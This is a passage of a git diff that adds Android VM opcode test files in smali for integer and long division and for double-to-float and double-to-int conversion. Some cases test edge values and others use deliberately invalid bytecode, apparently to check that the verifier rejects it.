--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -10
+       div-int/lit8 v0, v2, 3
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_5.smali
new file mode 100644
index 0000000..c4ceb41
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_5.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1073741824
+       div-int/lit8 v0, v2, -3
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_6.smali
new file mode 100644
index 0000000..35cb679
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_6.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -17895697
+       div-int/lit8 v0, v2, -30
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_7.smali
new file mode 100644
index 0000000..0ac82f4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_7.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -2147483648
+       div-int/lit8 v0, v2, -1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_8.smali
new file mode 100644
index 0000000..c300493
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_8.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -2147483648
+       div-int/lit8 v0, v2, 1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_9.smali
new file mode 100644
index 0000000..3ee0e5d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_9.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 2147483647
+       div-int/lit8 v0, v2, 1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_1.smali
new file mode 100644
index 0000000..994e7ba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_1.java"
+.class  public Ldot/junit/opcodes/div_long/d/T_div_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       div-long v0, v10, v12
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_2.smali
new file mode 100644
index 0000000..f898d6c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_2.java"
+.class  public Ldot/junit/opcodes/div_long/d/T_div_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 14
+
+       div-long v0, v10, v12
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_3.smali
new file mode 100644
index 0000000..2ee3000
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_3.java"
+.class  public Ldot/junit/opcodes/div_long/d/T_div_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       const v10, 1234
+       div-long v0, v10, v12
+       return-wide v12
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_5.smali
new file mode 100644
index 0000000..5607759
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_5.java"
+.class  public Ldot/junit/opcodes/div_long/d/T_div_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       div-long v0, v9, v12
+       return-wide v10
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_6.smali
new file mode 100644
index 0000000..342f8b2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_6.java"
+.class  public Ldot/junit/opcodes/div_long/d/T_div_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       div-long v0, v10, v14
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_1.smali
new file mode 100644
index 0000000..53b3a26
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       div-long/2addr v10, v12
+       return-wide v10
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_2.smali
new file mode 100644
index 0000000..55e7042
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 14
+
+       div-long/2addr v10, v12
+       return-wide v10
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_3.smali
new file mode 100644
index 0000000..f516e93
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       const v0, 1234
+       div-long/2addr v0, v12
+       return-wide v10
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_5.smali
new file mode 100644
index 0000000..9f88419
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       div-long/2addr v9, v12
+       return-wide v10
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_6.smali
new file mode 100644
index 0000000..fda833b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       div-long/2addr v10, v14
+       return-wide v10
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_1.smali
new file mode 100644
index 0000000..bb32164
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_float_1.java"
+.class  public Ldot/junit/opcodes/double_to_float/d/T_double_to_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)F
+.registers 8
+
+       double-to-float v0, v6
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_3.smali
new file mode 100644
index 0000000..3cc945c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_float_3.java"
+.class  public Ldot/junit/opcodes/double_to_float/d/T_double_to_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)F
+.registers 8
+
+       double-to-float v0, v6
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_5.smali
new file mode 100644
index 0000000..16c1f95
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_float_5.java"
+.class  public Ldot/junit/opcodes/double_to_float/d/T_double_to_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)F
+.registers 8
+
+       double-to-float v0, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_6.smali
new file mode 100644
index 0000000..e20fb3d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_6.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_float_6.java"
+.class  public Ldot/junit/opcodes/double_to_float/d/T_double_to_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)V
+.registers 8
+
+       move v0, v7
+       move v1, v7    
+       double-to-float v0, v0
+       
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_1.smali
new file mode 100644
index 0000000..69a9226
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_int_1.java"
+.class  public Ldot/junit/opcodes/double_to_int/d/T_double_to_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       double-to-int v0, v6
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_3.smali
new file mode 100644
index 0000000..4daee67
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_int_3.java"
+.class  public Ldot/junit/opcodes/double_to_int/d/T_double_to_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       double-to-int v0, v6
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_4.smali
new file mode 100644
index 0000000..c8ebfaa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_4.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_int_4.java"
+.class  public Ldot/junit/opcodes/double_to_int/d/T_double_to_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       double-to-int v0, v5
+       
+       const v3, 123
+       return v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_5.smali
new file mode 100644
index 0000000..3da7fa2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_int_5.java"
+.class  public Ldot/junit/opcodes/double_to_int/d/T_double_to_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       double-to-int v0, v8
+       return v0
+.end method
+
+

